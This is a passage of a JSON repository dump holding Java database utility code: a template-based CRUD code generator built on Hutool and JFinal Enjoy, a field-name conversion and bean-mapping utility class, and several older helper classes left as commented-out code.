    "content": "package io.github.wujun728.db.utils;\n\nimport cn.hutool.db.meta.Column;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport com.jfinal.template.Engine;\nimport com.jfinal.template.Template;\nimport com.jfinal.template.source.ClassPathSourceFactory;\n\nimport javax.sql.DataSource;\nimport java.sql.Types;\nimport java.text.SimpleDateFormat;\nimport java.util.*;\n\n/**\n * 代码生成器 - 基于Hutool MetaUtil表元数据 + JFinal Enjoy模板引擎\n * <p>\n * 支持5种代码生成模式：\n * 1. SQL模式 - 生成基于Db.execute/queryList的Service和Controller\n * 2. Record模式 - 生成基于Db.save/find/update/delete的Service和Controller\n * 3. Bean JPA模式 - 生成JPA注解Entity + Bean模式Service和Controller\n * 4. Bean MyBatis模式 - 生成MyBatis-Plus注解Entity + Bean模式Service和Controller\n * 5. Model模式 - 生成Model子类 + Model模式Service和Controller\n * <p>\n * 使用方式：\n * <pre>\n * Map&lt;String, String&gt; codes = Db.generatorCodeRecord(\"user_info\", \"com.example\");\n * codes.forEach((fileName, content) -> System.out.println(fileName + \"\\n\" + content));\n * </pre>\n */\npublic class CodeGenerator {\n\n    private static volatile Engine engine;\n    private static final Object ENGINE_LOCK = new Object();\n\n    /**\n     * 列元数据信息\n     */\n    public static class ColumnInfo {\n        private String columnName;       // 数据库列名 user_name\n        private String fieldName;        // Java字段名 userName\n        private String fieldNameUpper;   // 首字母大写 UserName\n        private String columnNameUpper;  // 全大写常量名 USER_NAME\n        private String javaType;         // Java类型 String\n        private String comment;          // 列注释\n        private boolean pk;              // 是否主键\n        private boolean nullable;        // 是否允许空\n        private boolean autoIncrement;   // 是否自增\n        private int size;                // 列大小\n\n        public String getColumnName() { return columnName; }\n        public String getFieldName() { return fieldName; }\n        public String getFieldNameUpper() { return fieldNameUpper; }\n        public String getColumnNameUpper() { return columnNameUpper; }\n        public String getJavaType() { return javaType; }\n        public String getComment() { return comment; }\n        public boolean isPk() { return pk; }\n        public boolean getPk() { return pk; }\n        public boolean isNullable() { return nullable; }\n        public boolean getNullable() { return nullable; }\n        public boolean isAutoIncrement() { return autoIncrement; }\n        public boolean getAutoIncrement() { return autoIncrement; }\n        public int getSize() { return size; }\n    }\n\n    /**\n     * 表元数据信息\n     */\n    public static class TableInfo {\n        private String tableName;        // 表名 user_info\n        private String className;        // 类名 UserInfo\n        private String classNameLower;   // 首字母小写 userInfo\n        private String packageName;      // 包名\n        private String authorName;       // 作者\n        private String dateStr;          // 日期\n        private List<ColumnInfo> columns;// 所有列\n        private ColumnInfo pkColumn;     // 主键列\n        private String pkJavaType;       // 主键Java类型\n        private String pkFieldName;      // 主键字段名\n        private String pkColumnName;     // 主键列名\n        private boolean hasDate;         // 是否有Date类型\n        private boolean hasBigDecimal;   // 是否有BigDecimal类型\n\n        public String getTableName() { return tableName; }\n        public String getClassName() { return className; }\n        public String getClassNameLower() { return classNameLower; }\n        public String getPackageName() { return packageName; }\n        public String getAuthorName() { return authorName; }\n        public String getDateStr() { return dateStr; }\n        public List<ColumnInfo> getColumns() { return columns; }\n        public ColumnInfo getPkColumn() { return pkColumn; }\n        public String getPkJavaType() { return pkJavaType; }\n        public String getPkFieldName() { return pkFieldName; }\n        public String getPkColumnName() { return pkColumnName; }\n        public boolean isHasDate() { return hasDate; }\n        public boolean getHasDate() { return hasDate; }\n        public boolean isHasBigDecimal() { return hasBigDecimal; }\n        public boolean getHasBigDecimal() { return hasBigDecimal; }\n    }\n\n    // ==================== 获取表元数据 ====================\n\n    /**\n     * 通过Hutool MetaUtil获取表的完整元数据信息\n     *\n     * @param dataSource  数据源\n     * @param tableName   表名\n     * @param packageName 生成代码的包名\n     * @return 表信息（含所有列信息）\n     */\n    public static TableInfo getTableInfo(DataSource dataSource, String tableName, String packageName) {\n        Table table = MetaUtil.getTableMeta(dataSource, tableName);\n\n        TableInfo info = new TableInfo();\n        info.tableName = tableName;\n        info.className = tableNameToClassName(tableName);\n        info.classNameLower = firstLower(info.className);\n        info.packageName = packageName;\n        info.authorName = \"CodeGenerator\";\n        info.dateStr = new SimpleDateFormat(\"yyyy-MM-dd\").format(new Date());\n\n        List<ColumnInfo> columns = new ArrayList<>();\n        boolean hasDate = false;\n        boolean hasBigDecimal = false;\n\n        for (Column column : table.getColumns()) {\n            ColumnInfo col = new ColumnInfo();\n            col.columnName = column.getName();\n            col.fieldName = RecordUtil.toCamelCase(column.getName());\n            col.fieldNameUpper = firstUpper(col.fieldName);\n            col.columnNameUpper = column.getName().toUpperCase();\n            col.javaType = jdbcTypeToJavaType(column.getType());\n            col.comment = column.getComment();\n            col.pk = column.isPk();\n            col.nullable = column.isNullable();\n            col.autoIncrement = column.isAutoIncrement();\n            col.size = (int) column.getSize();\n\n            if (\"Date\".equals(col.javaType)) hasDate = true;\n            if (\"BigDecimal\".equals(col.javaType)) hasBigDecimal = true;\n\n            columns.add(col);\n        }\n\n        info.columns = columns;\n        info.hasDate = hasDate;\n        info.hasBigDecimal = hasBigDecimal;\n\n        // 设置主键信息\n        ColumnInfo pkCol = null;\n        for (ColumnInfo c : columns) {\n            if (c.pk) {\n                pkCol = c;\n                break;\n            }\n        }\n        if (pkCol == null && !columns.isEmpty()) {\n            pkCol = columns.get(0); // 默认使用第一列\n        }\n        info.pkColumn = pkCol;\n        info.pkJavaType = pkCol != null ? pkCol.javaType : \"Object\";\n        info.pkFieldName = pkCol != null ? pkCol.fieldName : \"id\";\n        info.pkColumnName = pkCol != null ? pkCol.columnName : \"id\";\n\n        return info;\n    }\n\n    // ==================== 5种代码生成方法 ====================\n\n    /**\n     * SQL模式代码生成 - 生成基于Db.execute/queryList/insert的Service和Controller\n     *\n     * @param ds          数据源\n     * @param tableName   表名\n     * @param packageName 包名\n     * @return Map(文件路径 → 代码内容)\n     */\n    public static Map<String, String> generatorCodeSQL(DataSource ds, String tableName, String packageName) {\n        TableInfo info = getTableInfo(ds, tableName, packageName);\n        Map<String, Object> data = tableInfoToMap(info);\n        Map<String, String> result = new LinkedHashMap<>();\n        result.put(\"service/\" + info.className + \"Service.java\", render(\"code-templates/sql_service.enjoy\", data));\n        result.put(\"controller/\" + info.className + \"Controller.java\", render(\"code-templates/sql_controller.enjoy\", data));\n        return result;\n    }\n\n    /**\n     * Record模式代码生成 - 生成基于Db.save/find/update/delete的Service和Controller\n     */\n    public static Map<String, String> generatorCodeRecord(DataSource ds, String tableName, String packageName) {\n        TableInfo info = getTableInfo(ds, tableName, packageName);\n        Map<String, Object> data = tableInfoToMap(info);\n        Map<String, String> result = new LinkedHashMap<>();\n        result.put(\"service/\" + info.className + \"Service.java\", render(\"code-templates/record_service.enjoy\", data));\n        result.put(\"controller/\" + info.className + \"Controller.java\", render(\"code-templates/record_controller.enjoy\", data));\n        return result;\n    }\n\n    /**\n     * Bean JPA模式代码生成 - 生成JPA注解Entity + Bean模式Service和Controller\n     */\n    public static Map<String, String> generatorCodeSQLBeanJPA(DataSource ds, String tableName, String packageName) {\n        TableInfo info = getTableInfo(ds, tableName, packageName);\n        Map<String, Object> data = tableInfoToMap(info);\n        Map<String, String> result = new LinkedHashMap<>();\n        result.put(\"entity/\" + info.className + \".java\", render(\"code-templates/bean_entity_jpa.enjoy\", data));\n        result.put(\"service/\" + info.className + \"Service.java\", render(\"code-templates/bean_service.enjoy\", data));\n        result.put(\"controller/\" + info.className + \"Controller.java\", render(\"code-templates/bean_controller.enjoy\", data));\n        return result;\n    }\n\n    /**\n     * Bean MyBatis-Plus模式代码生成 - 生成MyBatis-Plus注解Entity + Bean模式Service和Controller\n     */\n    public static Map<String, String> generatorCodeSQLBeanMybatis(DataSource ds, String tableName, String packageName) {\n        TableInfo info = getTableInfo(ds, tableName, packageName);\n        Map<String, Object> data = tableInfoToMap(info);\n        Map<String, String> result = new LinkedHashMap<>();\n        result.put(\"entity/\" + info.className + \".java\", render(\"code-templates/bean_entity_mybatis.enjoy\", data));\n        result.put(\"service/\" + info.className + \"Service.java\", render(\"code-templates/bean_service.enjoy\", data));\n        result.put(\"controller/\" + info.className + \"Controller.java\", render(\"code-templates/bean_controller.enjoy\", data));\n        return result;\n    }\n\n    /**\n     * Model模式代码生成 - 生成Model子类 + Model模式Service和Controller\n     */\n    public static Map<String, String> generatorCodeModel(DataSource ds, String tableName, String packageName) {\n        TableInfo info = getTableInfo(ds, tableName, packageName);\n        Map<String, Object> data = tableInfoToMap(info);\n        Map<String, String> result = new LinkedHashMap<>();\n        result.put(\"model/\" + info.className + \".java\", render(\"code-templates/model_class.enjoy\", data));\n        result.put(\"service/\" + info.className + \"Service.java\", render(\"code-templates/model_service.enjoy\", data));\n        result.put(\"controller/\" + info.className + \"Controller.java\", render(\"code-templates/model_controller.enjoy\", data));\n        return result;\n    }\n\n    // ==================== 内部工具方法 ====================\n\n    private static Engine getEngine() {\n        if (engine == null) {\n            synchronized (ENGINE_LOCK) {\n                if (engine == null) {\n                    Engine e = Engine.create(\"codeGen\");\n                    e.setSourceFactory(new ClassPathSourceFactory());\n                    engine = e;\n                }\n            }\n        }\n        return engine;\n    }\n\n    private static String render(String templatePath, Map<String, Object> data) {\n        Template template = getEngine().getTemplate(templatePath);\n        return template.renderToString(data);\n    }\n\n    private static Map<String, Object> tableInfoToMap(TableInfo info) {\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"tableName\", info.tableName);\n        map.put(\"className\", info.className);\n        map.put(\"classNameLower\", info.classNameLower);\n        map.put(\"packageName\", info.packageName);\n        map.put(\"authorName\", info.authorName);\n        map.put(\"dateStr\", info.dateStr);\n        map.put(\"columns\", info.columns);\n        map.put(\"pkColumn\", info.pkColumn);\n        map.put(\"pkJavaType\", info.pkJavaType);\n        map.put(\"pkFieldName\", info.pkFieldName);\n        map.put(\"pkColumnName\", info.pkColumnName);\n        map.put(\"hasDate\", info.hasDate);\n        map.put(\"hasBigDecimal\", info.hasBigDecimal);\n        return map;\n    }\n\n    /**\n     * 表名转类名 (user_info → UserInfo)\n     */\n    public static String tableNameToClassName(String tableName) {\n        String camel = RecordUtil.toCamelCase(tableName);\n        return firstUpper(camel);\n    }\n\n    public static String firstUpper(String str) {\n        if (str == null || str.isEmpty()) return str;\n        return Character.toUpperCase(str.charAt(0)) + str.substring(1);\n    }\n\n    public static String firstLower(String str) {\n        if (str == null || str.isEmpty()) return str;\n        return Character.toLowerCase(str.charAt(0)) + str.substring(1);\n    }\n\n    /**\n     * JDBC类型到Java类型映射\n     */\n    public static String jdbcTypeToJavaType(int sqlType) {\n        switch (sqlType) {\n            case Types.BIT:\n            case Types.BOOLEAN:\n                return \"Boolean\";\n            case Types.TINYINT:\n            case Types.SMALLINT:\n            case Types.INTEGER:\n                return \"Integer\";\n            case Types.BIGINT:\n                return \"Long\";\n            case Types.FLOAT:\n            case Types.REAL:\n                return \"Float\";\n            case Types.DOUBLE:\n                return \"Double\";\n            case Types.DECIMAL:\n            case Types.NUMERIC:\n                return \"BigDecimal\";\n            case Types.CHAR:\n            case Types.VARCHAR:\n            case Types.LONGVARCHAR:\n            case Types.NCHAR:\n            case Types.NVARCHAR:\n            case Types.LONGNVARCHAR:\n            case Types.CLOB:\n            case Types.NCLOB:\n                return \"String\";\n            case Types.DATE:\n            case Types.TIME:\n            case Types.TIMESTAMP:\n                return \"Date\";\n            case Types.BLOB:\n            case Types.BINARY:\n            case Types.VARBINARY:\n            case Types.LONGVARBINARY:\n                return \"byte[]\";\n            default:\n                return \"Object\";\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/utils/DataSourcePool.java",
    "content": "// 功能已合并到Db.java\n/*\npackage io.github.wujun728.db.utils;\n\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.extra.spring.SpringUtil;\nimport com.alibaba.druid.pool.DruidDataSource;\n//import io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Db;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\nimport javax.sql.DataSource;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n@Slf4j\n@Component\npublic class DataSourcePool {\n\n    public static final String main = \"main\";\n    private static Lock lock = new ReentrantLock();\n    private static Lock deleteLock = new ReentrantLock();\n\n    public static final String mysqlDriver5 = \"com.mysql.jdbc.Driver\";\n    public static final String mysqlDriver6 = \"com.mysql.cj.jdbc.Driver\";\n    public static final String postgresqlDriver6 = \"org.postgresql.Driver\";\n    public static final String oracleDriver6 = \"oracle.jdbc.driver.OracleDriver\";\n    public static final String sqlserverDriver6 = \"com.microsoft.sqlserver.jdbc.SQLServerDriver\";\n\n    //所有数据源的连接池存在map里\n    public volatile static ConcurrentHashMap<String, DataSource> dataSourceMap = new ConcurrentHashMap<>();\n\n    public static DataSource init(String dsname,String url,String username,String password) {\n        String driverName = mysqlDriver5;\n        driverName = identifyDatabaseTypeFromJdbcUrl(url);\n        return init(dsname,url,username,password,driverName);\n    }\n    public static String identifyDatabaseTypeFromJdbcUrl(String jdbcUrl) {\n        if (jdbcUrl.startsWith(\"jdbc:mysql:\")) {\n            return mysqlDriver5;//            return \"MySQL\";\n        } else if (jdbcUrl.startsWith(\"jdbc:postgresql:\")) {\n            return postgresqlDriver6;//            return \"PostgreSQL\";\n        } else if (jdbcUrl.startsWith(\"jdbc:oracle:\")) {\n            return oracleDriver6;//            return \"Oracle\";\n        } else if (jdbcUrl.startsWith(\"jdbc:sqlserver:\")) {\n            return sqlserverDriver6;//            return \"SQL Server\";\n        } else {\n            return \"Unknown\";\n        }\n    }\n    public static DataSource init(String dsname,String url,String username,String password,String driver) {\n        if (dataSourceMap.containsKey(dsname)) {\n            return dataSourceMap.get(dsname);\n        } else {\n            lock.lock();\n            try {\n                //log.info(Thread.currentThread().getName() + \"获取锁\");\n                if (!dataSourceMap.containsKey(dsname)) {\n                    DruidDataSource druidDataSource = new DruidDataSource();\n                    druidDataSource.setName(dsname);\n                    druidDataSource.setUrl(url);\n                    druidDataSource.setUsername(username);\n                    druidDataSource.setPassword(password);\n                    druidDataSource.setDriverClassName(driver);\n                    druidDataSource.setConnectionErrorRetryAttempts(3);       //失败后重连次数\n                    druidDataSource.setBreakAfterAcquireFailure(true);\n                    dataSourceMap.put(dsname, druidDataSource);\n                    log.info(\"创建Druid连接池成功：{}\", dsname);\n\n                }\n                return dataSourceMap.get(dsname);\n            } catch (Exception e) {\n                return null;\n            } finally {\n                lock.unlock();\n            }\n        }\n    }\n    public static void init(String dsname,DataSource dataSource) {\n        add(dsname,dataSource);\n        if(main.equalsIgnoreCase(dsname)){\n            //Db.init(dsname,dataSource);\n        }\n    }\n    private static void add(String dsname, DataSource dataSource) {\n        lock.lock();\n        try {\n            log.info(Thread.currentThread().getName() + \"获取锁\");\n            dataSourceMap.put(dsname, dataSource);\n            if(main.equalsIgnoreCase(dsname)){\n                //Db.init(dsname,dataSource);\n            }\n            log.info(\"添加连接池成功：{}\", dsname);\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            lock.unlock();\n        }\n    }\n    public static DataSource get(String dsname) {\n        if(StrUtil.isEmpty(dsname)){\n            return null;\n        }\n        if (dataSourceMap.containsKey(dsname)) {\n            return dataSourceMap.get(dsname);\n        } else {\n            return null;\n        }\n    }\n\n    //删除数据库连接池\n    public static void remove(String dsname) {\n        deleteLock.lock();\n        try {\n            DataSource druidDataSource = dataSourceMap.get(dsname);\n            if (druidDataSource != null) {\n                //druidDataSource.close();\n                if(druidDataSource instanceof  DruidDataSource){\n                    ((DruidDataSource)druidDataSource).close();\n                }\n                dataSourceMap.remove(dsname);\n            }\n        } catch (Exception e) {\n            log.error(e.toString());\n        } finally {\n            deleteLock.unlock();\n        }\n    }\n\n    public static Connection getConnection(String dsname) throws SQLException {\n        return DataSourcePool.get(dsname).getConnection();\n    }\n\n\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/utils/FieldUtils.java",
    "content": "// 功能已合并到RecordUtil.java\n/*\npackage io.github.wujun728.db.utils;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\npublic class FieldUtils {\n\n\n    public static final char UNDERLINE = '_';\n\n    public static String toUnderlineCase(String param) {\n        return getUnderlineName(param);\n    }\n    public static String getUnderlineName(String param) {\n        return toSymbolCase(param, UNDERLINE);\n    }\n    public static String toSymbolCase(CharSequence str, char symbol) {\n        if (str == null) {\n            return null;\n        } else {\n            int length = str.length();\n            StringBuilder sb = new StringBuilder();\n            for(int i = 0; i < length; ++i) {\n                char c = str.charAt(i);\n                if (Character.isUpperCase(c)) {\n                    Character preChar = i > 0 ? str.charAt(i - 1) : null;\n                    Character nextChar = i < str.length() - 1 ? str.charAt(i + 1) : null;\n                    if (null != preChar) {\n                        if (symbol == preChar) {\n                            if (null == nextChar || Character.isLowerCase(nextChar)) {\n                                c = Character.toLowerCase(c);\n                            }\n                        } else if (Character.isLowerCase(preChar)) {\n                            sb.append(symbol);\n                            if (null == nextChar || Character.isLowerCase(nextChar) || isNumber(nextChar)) {\n                                c = Character.toLowerCase(c);\n                            }\n                        } else if (null != nextChar && Character.isLowerCase(nextChar)) {\n                            sb.append(symbol);\n                            c = Character.toLowerCase(c);\n                        }\n                    } else if (null == nextChar || Character.isLowerCase(nextChar)) {\n                        c = Character.toLowerCase(c);\n                    }\n                }\n\n                sb.append(c);\n            }\n            return sb.toString();\n        }\n    }\n\n    public static boolean isNumber(char ch) {\n        return ch >= '0' && ch <= '9';\n    }\n\n    public static String getCamelName(String param) {\n        return toCamelCase(param, UNDERLINE);\n    }\n\n    public static String toCamelCase(CharSequence name) {\n        return toCamelCase(name, UNDERLINE);\n    }\n    public static String toCamelCase(CharSequence name, char symbol) {\n        if (null == name) {\n            return null;\n        } else {\n            String name2 = name.toString();\n            if (name2.indexOf(symbol)>-1) {\n                int length = name2.length();\n                StringBuilder sb = new StringBuilder(length);\n                boolean upperCase = false;\n                for(int i = 0; i < length; ++i) {\n                    char c = name2.charAt(i);\n                    if (c == symbol) {\n                        upperCase = true;\n                    } else if (upperCase) {\n                        sb.append(Character.toUpperCase(c));\n                        upperCase = false;\n                    } else {\n                        sb.append(Character.toLowerCase(c));\n                    }\n                }\n                return sb.toString();\n            } else {\n                return name2;\n            }\n        }\n    }\n\n\n\n\n    public static void main(String[] args) {\n//        System.out.println(getUnderlineName(\"AbcDeft\"));\n//        System.out.println(getCamelName(\"abc_deft\"));\n//        System.out.println(fieldNameToColumnName(\"AbcDeft\"));\n//        System.out.println(columnNameToFieldName(\"abc_deft\"));\n        System.out.println(FieldUtils.toCamelCase(\"abc_deft\"));\n        System.out.println(FieldUtils.toUnderlineCase(\"AbcDeft\"));\n    }\n\n\n\n    public static List<Field> allFields(Class clazz){\n        ArrayList<Field> fields = new ArrayList<>();\n        fields.addAll(Arrays.asList(clazz.getSuperclass().getDeclaredFields()));\n        fields.addAll(Arrays.asList(clazz.getDeclaredFields()));\n        return fields;\n    }\n\n    public static String columnNameToFieldName(String name){\n    \treturn getCamelName(name);\n    }\n    public static String fieldNameToColumnName(String name){\n    \treturn getUnderlineName(name);\n    }\n\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/utils/MapKit.java",
    "content": "// 功能已合并到RecordUtil.java\n/*\npackage io.github.wujun728.db.utils;\n\nimport cn.hutool.core.annotation.AnnotationUtil;\nimport com.alibaba.fastjson2.JSONObject;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\n\nimport javax.persistence.Column;\nimport javax.persistence.Table;\nimport javax.persistence.Transient;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.Reader;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Modifier;\nimport java.sql.*;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @ClassName: RecordUtils\n * @Description: Record相关工具类\n * /\npublic class MapKit {\n\n\n\n    public static <T> List mapToBeans(List<Map<String, Object>> lists, Class<T> clazz) {\n        List<T> datas = new ArrayList();\n        if (lists != null && lists.size() > 0) {\n            lists.forEach(map -> {\n                datas.add(mapToBean(map, clazz));\n            });\n        }\n        return datas;\n    }\n\n    public static <T> T mapToBean(Map<String, Object> map, Class<T> clazz) {\n        return mapToBean(map, clazz, true);\n    }\n\n    public static <T> T mapToBean(Map<String, Object> map, Class<T> clazz, boolean isToCamelCase) {\n        T obj = null;\n        Map m = new HashMap<>();\n        map.forEach((k, v) -> {\n            if(isToCamelCase){\n                m.put(FieldUtils.toCamelCase(String.valueOf(k)), v);\n            }else{\n                m.put(FieldUtils.toUnderlineCase(String.valueOf(k)), v);\n            }\n        });\n        try {\n            //obj = BeanUtil.mapToBean(map, clazz,true, CopyOptions.create());\n            obj = JSONObject.parseObject(JSONObject.toJSONString(map), clazz);\n            //Map demoMap = JSONObject.parseObject(JSONObject.toJSONString(obj), Map.class);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return obj;\n    }\n\n    public static <T> List<Map<String,Object>> beanToMaps(List<T> lists) {\n        return beanToMaps(lists,true);\n    }\n    private static <T>  List<Map<String,Object>> beanToMaps(List<T> lists, boolean isToCamelCase) {\n        List<Map<String,Object>> datas = new ArrayList();\n        if (lists != null && lists.size() > 0) {\n            lists.forEach(obj -> {\n                datas.add(beanToMap(obj, isToCamelCase));\n            });\n        }\n        return datas;\n    }\n    public static Map beanToMap(Object bean) {\n        return beanToMap(bean, true);\n    }\n\n    private static Map beanToMap(Object bean, boolean isToCamelCase) {\n        Map map = new HashMap<>();\n        try {\n            Class<?> cls = bean.getClass();\n            for (Field field : cls.getDeclaredFields()) {\n                field.setAccessible(true);\n                Object val = field.get(bean);\n                if (val != null) {\n                    String columnName = getColumnName(field);\n                    if (columnName == null) {\n                        continue;\n                    }\n                    if (isToCamelCase) {\n                        map.put(FieldUtils.toCamelCase(columnName), val);\n                    } else {\n                        map.put(columnName, val);\n                    }\n                }\n            }\n        } catch (IllegalAccessException e) {\n            throw new RuntimeException(e);\n        }\n        return map;\n    }\n\n\n\n    public static void buildLabelNamesAndTypes(ResultSetMetaData rsmd, String[] labelNames, int[] types) throws SQLException {\n        for (int i=1; i<labelNames.length; i++) {\n            // 备忘：getColumnLabel 获取 sql as 子句指定的名称而非字段真实名称\n            labelNames[i] = rsmd.getColumnLabel(i);\n            types[i] = rsmd.getColumnType(i);\n        }\n    }\n\n    public static byte[] handleBlob(Blob blob) throws SQLException {\n        if (blob == null)\n            return null;\n\n        InputStream is = null;\n        try {\n            is = blob.getBinaryStream();\n            if (is == null)\n                return null;\n            byte[] data = new byte[(int)blob.length()];\t\t// byte[] data = new byte[is.available()];\n            if (data.length == 0)\n                return null;\n            is.read(data);\n            return data;\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        }\n        finally {\n            if (is != null)\n                try {is.close();} catch (IOException e) {throw new RuntimeException(e);}\n        }\n    }\n\n    public static String handleClob(Clob clob) throws SQLException {\n        if (clob == null)\n            return null;\n\n        Reader reader = null;\n        try {\n            reader = clob.getCharacterStream();\n            if (reader == null)\n                return null;\n            char[] buffer = new char[(int)clob.length()];\n            if (buffer.length == 0)\n                return null;\n            reader.read(buffer);\n            return new String(buffer);\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        }\n        finally {\n            if (reader != null)\n                try {reader.close();} catch (IOException e) {throw new RuntimeException(e);}\n        }\n    }\n\n\n    public static String getColumnName(Field field) {\n        if(Modifier.isTransient(field.getModifiers())){\n            return null;\n        }\n        String DYH = \"\";// \"\"`\";  //'`';\n        String columndName = FieldUtils.getUnderlineName(field.getName());\n        String columndNameNew = DYH + columndName + DYH;\n        if (AnnotationUtil.hasAnnotation(field, Transient.class)) {\n            return null;\n        }\n        if (AnnotationUtil.hasAnnotation(field, TableField.class)) {\n            columndName = AnnotationUtil.getAnnotationValue(field, TableField.class, \"value\");\n            Boolean existFlag = AnnotationUtil.getAnnotationValue(field, TableField.class, \"exist\");\n            if (existFlag == false) {\n                return null;\n            }\n            columndNameNew = DYH + columndName + DYH;\n        } else if (AnnotationUtil.hasAnnotation(field, Column.class)) {\n            columndName = AnnotationUtil.getAnnotationValue(field, Column.class, \"name\");\n            columndNameNew = DYH + columndName + DYH;\n        }\n        return columndNameNew;\n    }\n\n    public static String getTableName(Object bean) {\n        String tableName = \"\";\n        if (bean instanceof Class) {\n            tableName = ((Class) bean).getSimpleName();\n            tableName = FieldUtils.getUnderlineName(tableName);\n            Class clazz = (Class) bean;\n            if (AnnotationUtil.hasAnnotation(clazz, Table.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(clazz, Table.class, \"name\");\n            } else if (AnnotationUtil.hasAnnotation(clazz, TableName.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(clazz, TableName.class, \"value\");\n            }\n        } else {\n            tableName = FieldUtils.getUnderlineName(bean.getClass().getSimpleName());\n            if (AnnotationUtil.hasAnnotation(bean.getClass(), Table.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(bean.getClass(), Table.class, \"name\");\n            } else if (AnnotationUtil.hasAnnotation(bean.getClass(), TableName.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(bean.getClass(), TableName.class, \"value\");\n            }\n        }\n        return tableName;\n    }\n\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/utils/RecordUtil.java",
    "content": "package io.github.wujun728.db.utils;\n\nimport cn.hutool.core.annotation.AnnotationUtil;\nimport com.alibaba.fastjson2.JSONObject;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\n\nimport javax.persistence.Column;\nimport javax.persistence.Table;\nimport javax.persistence.Transient;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.Reader;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Modifier;\nimport java.sql.*;\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.function.Function;\n\n/**\n * ORM工具类 - 合并了原RecordUtil、MapKit、FieldUtils的全部功能\n * <p>\n * 职责：\n * 1. 字段名驼峰/下划线互转 (原FieldUtils)\n * 2. 表名/列名解析，支持JPA(@Table/@Column)和MyBatis-Plus(@TableName/@TableField)注解 (原MapKit)\n * 3. Record/Map/Bean之间的互相转换 (原RecordUtil+MapKit)\n * 4. ResultSet到Record的构建 (原RecordUtil)\n * 5. SQL调试格式化 (原SqlUtil.getSql)\n */\npublic class RecordUtil {\n\n    private static final char UNDERLINE = '_';\n\n    // ==================== 反射元数据缓存 ====================\n\n    /** 缓存: Class -> (Field, ColumnName) 列表，避免重复反射 */\n    private static final ConcurrentHashMap<Class<?>, List<FieldMeta>> FIELD_META_CACHE = new ConcurrentHashMap<>();\n\n    /** 字段元数据：持有 Field 引用和预解析的列名 */\n    public static class FieldMeta {\n        public final Field field;\n        public final String columnName; // null 表示该字段应跳过（@Transient等）\n\n        FieldMeta(Field field, String columnName) {\n            this.field = field;\n            this.columnName = columnName;\n        }\n    }\n\n    /**\n     * 获取类的字段元数据（含缓存），首次调用后缓存结果\n     */\n    public static List<FieldMeta> getFieldMetas(Class<?> clazz) {\n        return FIELD_META_CACHE.computeIfAbsent(clazz, c -> {\n            List<Field> fields = allFields(c);\n            List<FieldMeta> metas = new ArrayList<>(fields.size());\n            for (Field field : fields) {\n                if (Modifier.isStatic(field.getModifiers())) {\n                    continue;\n                }\n                field.setAccessible(true);\n                String columnName = getColumnName(field);\n                metas.add(new FieldMeta(field, columnName));\n            }\n            return Collections.unmodifiableList(metas);\n        });\n    }\n\n    // ==================== 字段名转换 (原FieldUtils) ====================\n\n    /**\n     * 驼峰转下划线 (e.g. userName -> user_name)\n     */\n    public static String toUnderlineCase(String param) {\n        if (param == null) {\n            return null;\n        }\n        int length = param.length();\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < length; i++) {\n            char c = param.charAt(i);\n            if (Character.isUpperCase(c)) {\n                Character preChar = i > 0 ? param.charAt(i - 1) : null;\n                Character nextChar = i < length - 1 ? param.charAt(i + 1) : null;\n                if (null != preChar) {\n                    if (UNDERLINE == preChar) {\n                        if (null == nextChar || Character.isLowerCase(nextChar)) {\n                            c = Character.toLowerCase(c);\n                        }\n                    } else if (Character.isLowerCase(preChar)) {\n                        sb.append(UNDERLINE);\n                        if (null == nextChar || Character.isLowerCase(nextChar) || (nextChar >= '0' && nextChar <= '9')) {\n                            c = Character.toLowerCase(c);\n                        }\n                    } else if (null != nextChar && Character.isLowerCase(nextChar)) {\n                        sb.append(UNDERLINE);\n                        c = Character.toLowerCase(c);\n                    }\n                } else if (null == nextChar || Character.isLowerCase(nextChar)) {\n                    c = Character.toLowerCase(c);\n                }\n            }\n            sb.append(c);\n        }\n        return sb.toString();\n    }\n\n    /**\n     * 下划线转驼峰 (e.g. user_name -> userName)\n     */\n    public static String toCamelCase(String name) {\n        if (null == name) {\n            return null;\n        }\n        if (name.indexOf(UNDERLINE) > -1) {\n            int length = name.length();\n            StringBuilder sb = new StringBuilder(length);\n            boolean upperCase = false;\n            for (int i = 0; i < length; i++) {\n                char c = name.charAt(i);\n                if (c == UNDERLINE) {\n                    upperCase = true;\n                } else if (upperCase) {\n                    sb.append(Character.toUpperCase(c));\n                    upperCase = false;\n                } else {\n                    